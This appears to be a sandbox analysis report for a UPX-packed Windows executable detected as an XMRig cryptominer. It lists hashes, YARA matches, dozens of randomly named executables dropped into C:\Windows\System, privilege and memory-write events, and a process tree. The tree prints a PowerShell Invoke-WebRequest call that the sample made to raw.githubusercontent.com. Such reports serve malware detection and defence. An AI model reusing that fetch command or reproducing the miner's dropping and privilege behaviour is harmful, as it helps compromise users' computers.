xmrig | 83a159ccac790c466423abd51f969317bff1d5c041a1cbad59553d38253d6386

Analysis

max time kernel
66s
max time network
52s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30/04/2024, 15:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
Size

1.8MB
MD5

0a1ca3b51edb6a2539b1591ecf40baeb
SHA1

9f5ea4397a1c64122c84c92b90e05e65c44adcc2
SHA256

83a159ccac790c466423abd51f969317bff1d5c041a1cbad59553d38253d6386
SHA512

e5e8b8ba3a153048b1f564d8bb8f2ee770d8b0a6e53de1e6ccf9da799cef1ca6be619b15460cbfca1fe64a84a7ec08d4816c1fc67491f5d9ae4fa8e9a208f894
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrlnp:NABY

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 51 IoCs

miner

resource	yara_rule
behavioral2/memory/684-31-0x00007FF72DF30000-0x00007FF72E322000-memory.dmp	xmrig
behavioral2/memory/1780-591-0x00007FF79D7A0000-0x00007FF79DB92000-memory.dmp	xmrig
behavioral2/memory/1312-592-0x00007FF617B90000-0x00007FF617F82000-memory.dmp	xmrig
behavioral2/memory/384-590-0x00007FF6A63F0000-0x00007FF6A67E2000-memory.dmp	xmrig
behavioral2/memory/3516-593-0x00007FF64AA60000-0x00007FF64AE52000-memory.dmp	xmrig
behavioral2/memory/684-107-0x00007FF72DF30000-0x00007FF72E322000-memory.dmp	xmrig
behavioral2/memory/4872-106-0x00007FF7792A0000-0x00007FF779692000-memory.dmp	xmrig
behavioral2/memory/2336-105-0x00007FF7F58D0000-0x00007FF7F5CC2000-memory.dmp	xmrig
behavioral2/memory/2608-101-0x00007FF78F680000-0x00007FF78FA72000-memory.dmp	xmrig
behavioral2/memory/1372-95-0x00007FF7AFBD0000-0x00007FF7AFFC2000-memory.dmp	xmrig
behavioral2/memory/1884-12-0x00007FF7DE8E0000-0x00007FF7DECD2000-memory.dmp	xmrig
behavioral2/memory/5104-627-0x00007FF7077A0000-0x00007FF707B92000-memory.dmp	xmrig
behavioral2/memory/4632-643-0x00007FF750270000-0x00007FF750662000-memory.dmp	xmrig
behavioral2/memory/4708-637-0x00007FF76A4F0000-0x00007FF76A8E2000-memory.dmp	xmrig
behavioral2/memory/4200-633-0x00007FF7855A0000-0x00007FF785992000-memory.dmp	xmrig
behavioral2/memory/4012-611-0x00007FF7E5E20000-0x00007FF7E6212000-memory.dmp	xmrig
behavioral2/memory/3364-1303-0x00007FF67E450000-0x00007FF67E842000-memory.dmp	xmrig
behavioral2/memory/4392-1879-0x00007FF7E1F80000-0x00007FF7E2372000-memory.dmp	xmrig
behavioral2/memory/2328-1880-0x00007FF613F20000-0x00007FF614312000-memory.dmp	xmrig
behavioral2/memory/1372-2073-0x00007FF7AFBD0000-0x00007FF7AFFC2000-memory.dmp	xmrig
behavioral2/memory/868-2092-0x00007FF6F8F40000-0x00007FF6F9332000-memory.dmp	xmrig
behavioral2/memory/716-2091-0x00007FF65EC40000-0x00007FF65F032000-memory.dmp	xmrig
behavioral2/memory/3600-2093-0x00007FF77A070000-0x00007FF77A462000-memory.dmp	xmrig
behavioral2/memory/1060-2094-0x00007FF6D0430000-0x00007FF6D0822000-memory.dmp	xmrig
behavioral2/memory/2388-2095-0x00007FF6ACAE0000-0x00007FF6ACED2000-memory.dmp	xmrig
behavioral2/memory/2392-2128-0x00007FF707240000-0x00007FF707632000-memory.dmp	xmrig
behavioral2/memory/3304-2130-0x00007FF7268B0000-0x00007FF726CA2000-memory.dmp	xmrig
behavioral2/memory/1884-2132-0x00007FF7DE8E0000-0x00007FF7DECD2000-memory.dmp	xmrig
behavioral2/memory/2336-2134-0x00007FF7F58D0000-0x00007FF7F5CC2000-memory.dmp	xmrig
behavioral2/memory/4872-2136-0x00007FF7792A0000-0x00007FF779692000-memory.dmp	xmrig
behavioral2/memory/1780-2139-0x00007FF79D7A0000-0x00007FF79DB92000-memory.dmp	xmrig
behavioral2/memory/684-2142-0x00007FF72DF30000-0x00007FF72E322000-memory.dmp	xmrig
behavioral2/memory/3364-2144-0x00007FF67E450000-0x00007FF67E842000-memory.dmp	xmrig
behavioral2/memory/4392-2146-0x00007FF7E1F80000-0x00007FF7E2372000-memory.dmp	xmrig
behavioral2/memory/384-2140-0x00007FF6A63F0000-0x00007FF6A67E2000-memory.dmp	xmrig
behavioral2/memory/868-2156-0x00007FF6F8F40000-0x00007FF6F9332000-memory.dmp	xmrig
behavioral2/memory/2392-2159-0x00007FF707240000-0x00007FF707632000-memory.dmp	xmrig
behavioral2/memory/2608-2160-0x00007FF78F680000-0x00007FF78FA72000-memory.dmp	xmrig
behavioral2/memory/3304-2162-0x00007FF7268B0000-0x00007FF726CA2000-memory.dmp	xmrig
behavioral2/memory/1060-2154-0x00007FF6D0430000-0x00007FF6D0822000-memory.dmp	xmrig
behavioral2/memory/2328-2153-0x00007FF613F20000-0x00007FF614312000-memory.dmp	xmrig
behavioral2/memory/2388-2150-0x00007FF6ACAE0000-0x00007FF6ACED2000-memory.dmp	xmrig
behavioral2/memory/716-2149-0x00007FF65EC40000-0x00007FF65F032000-memory.dmp	xmrig
behavioral2/memory/3516-2181-0x00007FF64AA60000-0x00007FF64AE52000-memory.dmp	xmrig
behavioral2/memory/1312-2183-0x00007FF617B90000-0x00007FF617F82000-memory.dmp	xmrig
behavioral2/memory/4012-2177-0x00007FF7E5E20000-0x00007FF7E6212000-memory.dmp	xmrig
behavioral2/memory/4200-2173-0x00007FF7855A0000-0x00007FF785992000-memory.dmp	xmrig
behavioral2/memory/4632-2169-0x00007FF750270000-0x00007FF750662000-memory.dmp	xmrig
behavioral2/memory/5104-2175-0x00007FF7077A0000-0x00007FF707B92000-memory.dmp	xmrig
behavioral2/memory/4708-2171-0x00007FF76A4F0000-0x00007FF76A8E2000-memory.dmp	xmrig
behavioral2/memory/3600-2379-0x00007FF77A070000-0x00007FF77A462000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
1884	xhhyTNv.exe
2336	SfVOZUC.exe
4872	ivyZImC.exe
684	znFqiyo.exe
384	hXkXohN.exe
1780	XTrdHXY.exe
4392	xoUvyvF.exe
3364	OWsEINn.exe
2328	AFONQMC.exe
716	oWGIHNG.exe
1060	URbqxcx.exe
868	VeqWDUV.exe
3600	pdFmQQY.exe
2388	qTiDjHf.exe
2392	EqTUcBk.exe
2608	WLBTniq.exe
3304	HrKYfXz.exe
1312	ynIWhIi.exe
3516	FpMwMBQ.exe
4012	NNxyGjo.exe
5104	nybGlIl.exe
4200	PVwQjfD.exe
4708	uEhwsJr.exe
4632	opUNBbS.exe
5096	AXjSHMA.exe
4240	zQezEXz.exe
4764	hvqPWUU.exe
3376	OrPesBy.exe
3700	msvMlhr.exe
1080	dgNjDjW.exe
4664	dpJwjbP.exe
1696	geyqkNW.exe
216	TmBcgUi.exe
2880	DRVWkKY.exe
2792	VmPflLF.exe
2020	JoirFQt.exe
4640	wVXmaAR.exe
4028	scOPzBj.exe
4936	BAHMMNq.exe
3716	OtrrwkS.exe
4660	lcTMCJY.exe
2820	lpBeOTc.exe
2240	CdkrAhH.exe
2616	YaLdVOm.exe
1376	SmITMZv.exe
2964	owvOeOn.exe
3792	yNBYkyW.exe
4716	RzsWhJF.exe
1620	HRtVFPe.exe
3308	TTeEoVk.exe
4016	OmKUBmg.exe
3268	fvSWKka.exe
376	wlTaEKS.exe
3320	niakEKh.exe
1392	TpqwNBC.exe
4916	kpTVsQl.exe
4460	YlzaudW.exe
4148	qgMCTSo.exe
2724	cuuQMua.exe
2104	ZmcVjrC.exe
4876	BbducNa.exe
4068	IuwkFkT.exe
5144	tMiLwrp.exe
5172	qzamvGC.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1372-0-0x00007FF7AFBD0000-0x00007FF7AFFC2000-memory.dmp	upx
behavioral2/files/0x000c000000023b83-5.dat	upx
behavioral2/files/0x000a000000023b95-9.dat	upx
behavioral2/files/0x000b000000023b94-13.dat	upx
behavioral2/memory/684-31-0x00007FF72DF30000-0x00007FF72E322000-memory.dmp	upx
behavioral2/memory/384-39-0x00007FF6A63F0000-0x00007FF6A67E2000-memory.dmp	upx
behavioral2/files/0x000a000000023b98-43.dat	upx
behavioral2/memory/4392-48-0x00007FF7E1F80000-0x00007FF7E2372000-memory.dmp	upx
behavioral2/memory/3364-55-0x00007FF67E450000-0x00007FF67E842000-memory.dmp	upx
behavioral2/memory/2328-61-0x00007FF613F20000-0x00007FF614312000-memory.dmp	upx
behavioral2/files/0x000a000000023b9c-65.dat	upx
behavioral2/memory/716-70-0x00007FF65EC40000-0x00007FF65F032000-memory.dmp	upx
behavioral2/memory/868-73-0x00007FF6F8F40000-0x00007FF6F9332000-memory.dmp	upx
behavioral2/files/0x000a000000023b9e-79.dat	upx
behavioral2/memory/2388-86-0x00007FF6ACAE0000-0x00007FF6ACED2000-memory.dmp	upx
behavioral2/files/0x000a000000023ba2-96.dat	upx
behavioral2/memory/3304-102-0x00007FF7268B0000-0x00007FF726CA2000-memory.dmp	upx
behavioral2/files/0x000a000000023ba6-131.dat	upx
behavioral2/files/0x000a000000023ba9-143.dat	upx
behavioral2/files/0x000a000000023bab-161.dat	upx
behavioral2/memory/1780-591-0x00007FF79D7A0000-0x00007FF79DB92000-memory.dmp	upx
behavioral2/memory/1312-592-0x00007FF617B90000-0x00007FF617F82000-memory.dmp	upx
behavioral2/memory/384-590-0x00007FF6A63F0000-0x00007FF6A67E2000-memory.dmp	upx
behavioral2/memory/3516-593-0x00007FF64AA60000-0x00007FF64AE52000-memory.dmp	upx
behavioral2/files/0x000a000000023bb2-193.dat	upx
behavioral2/files/0x000a000000023bb0-191.dat	upx
behavioral2/files/0x000a000000023bb1-188.dat	upx
behavioral2/files/0x000a000000023baf-186.dat	upx
behavioral2/files/0x000b000000023ba4-181.dat	upx
behavioral2/files/0x000a000000023bae-176.dat	upx
behavioral2/files/0x000a000000023bad-171.dat	upx
behavioral2/files/0x000a000000023bac-166.dat	upx
behavioral2/files/0x000a000000023baa-156.dat	upx
behavioral2/files/0x000a000000023ba8-146.dat	upx
behavioral2/files/0x000b000000023ba5-141.dat	upx
behavioral2/files/0x000a000000023ba7-136.dat	upx
behavioral2/files/0x000a000000023ba3-126.dat	upx
behavioral2/memory/684-107-0x00007FF72DF30000-0x00007FF72E322000-memory.dmp	upx
behavioral2/memory/4872-106-0x00007FF7792A0000-0x00007FF779692000-memory.dmp	upx
behavioral2/memory/2336-105-0x00007FF7F58D0000-0x00007FF7F5CC2000-memory.dmp	upx
behavioral2/memory/2608-101-0x00007FF78F680000-0x00007FF78FA72000-memory.dmp	upx
behavioral2/files/0x000a000000023ba1-99.dat	upx
behavioral2/files/0x000c000000023b88-97.dat	upx
behavioral2/memory/1372-95-0x00007FF7AFBD0000-0x00007FF7AFFC2000-memory.dmp	upx
behavioral2/memory/2392-94-0x00007FF707240000-0x00007FF707632000-memory.dmp	upx
behavioral2/files/0x000a000000023b9f-89.dat	upx
behavioral2/files/0x000a000000023ba0-87.dat	upx
behavioral2/memory/3600-77-0x00007FF77A070000-0x00007FF77A462000-memory.dmp	upx
behavioral2/memory/1060-76-0x00007FF6D0430000-0x00007FF6D0822000-memory.dmp	upx
behavioral2/files/0x000a000000023b9d-71.dat	upx
behavioral2/files/0x000a000000023b9b-57.dat	upx
behavioral2/files/0x000a000000023b9a-49.dat	upx
behavioral2/files/0x000a000000023b99-46.dat	upx
behavioral2/memory/1780-41-0x00007FF79D7A0000-0x00007FF79DB92000-memory.dmp	upx
behavioral2/files/0x000a000000023b97-35.dat	upx
behavioral2/memory/4872-30-0x00007FF7792A0000-0x00007FF779692000-memory.dmp	upx
behavioral2/files/0x000a000000023b96-27.dat	upx
behavioral2/memory/2336-23-0x00007FF7F58D0000-0x00007FF7F5CC2000-memory.dmp	upx
behavioral2/memory/1884-12-0x00007FF7DE8E0000-0x00007FF7DECD2000-memory.dmp	upx
behavioral2/memory/5104-627-0x00007FF7077A0000-0x00007FF707B92000-memory.dmp	upx
behavioral2/memory/4632-643-0x00007FF750270000-0x00007FF750662000-memory.dmp	upx
behavioral2/memory/4708-637-0x00007FF76A4F0000-0x00007FF76A8E2000-memory.dmp	upx
behavioral2/memory/4200-633-0x00007FF7855A0000-0x00007FF785992000-memory.dmp	upx
behavioral2/memory/4012-611-0x00007FF7E5E20000-0x00007FF7E6212000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\tLVgHcA.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\DrayCNN.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\HJxdxFr.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\KCerHTm.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\TpqwNBC.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\AApObmm.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\lmmICHV.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\SngiVcA.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\uEhwsJr.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\lcTMCJY.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\OCamajL.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\MlrEvyX.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\CdkrAhH.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\TuOsiNZ.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\owxkayb.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\oWCmrRH.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\eovIOAA.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\DLhfTQq.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ivyZImC.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\VmPflLF.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\RzsWhJF.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\qgMCTSo.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\DMhbdqC.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\HTgSkdl.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\onwxHlX.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ysqMssu.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\IyMKKJS.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\tYBocNl.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\owvOeOn.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\WUcWfmT.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\sUAXDzN.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\cLpRbDe.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\gnJnefp.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\PRaWujl.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\vNsMbtR.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\wQBpYQR.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\EGGmLLu.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\kIMzHKr.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\nUnboSF.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\awRiAzj.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\fpxtRfN.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\BTYqZpa.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ethFvzb.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ObcTmiQ.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\NVjSsne.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\gkChEhz.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\TDWdMQy.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\kclMazT.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\YpskryJ.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\dQNGmDH.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\fZLHpjI.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\uCxfLOZ.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\xoUvyvF.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ElmrhCP.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\KSkFofv.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ijaQeNg.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\iBYLcul.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\fylidMu.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\GTZJbNs.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\YlzaudW.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\ybocnjY.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\MUnuKbs.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\lXIIwQJ.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
File created	C:\Windows\System\xzIEVAX.exe	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1388	powershell.exe
1388	powershell.exe
1388	powershell.exe
1388	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
Token: SeDebugPrivilege	1388	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 1388	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	87
PID 1372 wrote to memory of 1388	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	87
PID 1372 wrote to memory of 1884	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	88
PID 1372 wrote to memory of 1884	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	88
PID 1372 wrote to memory of 2336	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	89
PID 1372 wrote to memory of 2336	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	89
PID 1372 wrote to memory of 4872	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	90
PID 1372 wrote to memory of 4872	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	90
PID 1372 wrote to memory of 684	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	91
PID 1372 wrote to memory of 684	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	91
PID 1372 wrote to memory of 384	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	92
PID 1372 wrote to memory of 384	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	92
PID 1372 wrote to memory of 1780	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	93
PID 1372 wrote to memory of 1780	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	93
PID 1372 wrote to memory of 4392	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	94
PID 1372 wrote to memory of 4392	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	94
PID 1372 wrote to memory of 3364	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	95
PID 1372 wrote to memory of 3364	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	95
PID 1372 wrote to memory of 2328	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	96
PID 1372 wrote to memory of 2328	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	96
PID 1372 wrote to memory of 716	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	97
PID 1372 wrote to memory of 716	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	97
PID 1372 wrote to memory of 1060	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	98
PID 1372 wrote to memory of 1060	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	98
PID 1372 wrote to memory of 868	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	99
PID 1372 wrote to memory of 868	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	99
PID 1372 wrote to memory of 3600	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	100
PID 1372 wrote to memory of 3600	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	100
PID 1372 wrote to memory of 2388	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	101
PID 1372 wrote to memory of 2388	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	101
PID 1372 wrote to memory of 2392	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	102
PID 1372 wrote to memory of 2392	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	102
PID 1372 wrote to memory of 2608	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	103
PID 1372 wrote to memory of 2608	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	103
PID 1372 wrote to memory of 3304	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	104
PID 1372 wrote to memory of 3304	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	104
PID 1372 wrote to memory of 1312	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	105
PID 1372 wrote to memory of 1312	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	105
PID 1372 wrote to memory of 3516	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	106
PID 1372 wrote to memory of 3516	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	106
PID 1372 wrote to memory of 4012	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	107
PID 1372 wrote to memory of 4012	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	107
PID 1372 wrote to memory of 5104	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	108
PID 1372 wrote to memory of 5104	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	108
PID 1372 wrote to memory of 4200	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	109
PID 1372 wrote to memory of 4200	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	109
PID 1372 wrote to memory of 4708	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	110
PID 1372 wrote to memory of 4708	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	110
PID 1372 wrote to memory of 4632	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	111
PID 1372 wrote to memory of 4632	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	111
PID 1372 wrote to memory of 5096	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	112
PID 1372 wrote to memory of 5096	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	112
PID 1372 wrote to memory of 4240	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	113
PID 1372 wrote to memory of 4240	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	113
PID 1372 wrote to memory of 4764	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	114
PID 1372 wrote to memory of 4764	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	114
PID 1372 wrote to memory of 3376	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	115
PID 1372 wrote to memory of 3376	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	115
PID 1372 wrote to memory of 3700	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	116
PID 1372 wrote to memory of 3700	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	116
PID 1372 wrote to memory of 1080	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	117
PID 1372 wrote to memory of 1080	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	117
PID 1372 wrote to memory of 4664	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	118
PID 1372 wrote to memory of 4664	1372	0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe	118

C:\Users\Admin\AppData\Local\Temp\0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0a1ca3b51edb6a2539b1591ecf40baeb_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1388
- C:\Windows\System\xhhyTNv.exe
  C:\Windows\System\xhhyTNv.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\SfVOZUC.exe
  C:\Windows\System\SfVOZUC.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\ivyZImC.exe
  C:\Windows\System\ivyZImC.exe
  2⤵
  - Executes dropped EXE
  PID:4872
- C:\Windows\System\znFqiyo.exe
  C:\Windows\System\znFqiyo.exe
  2⤵
  - Executes dropped EXE
  PID:684
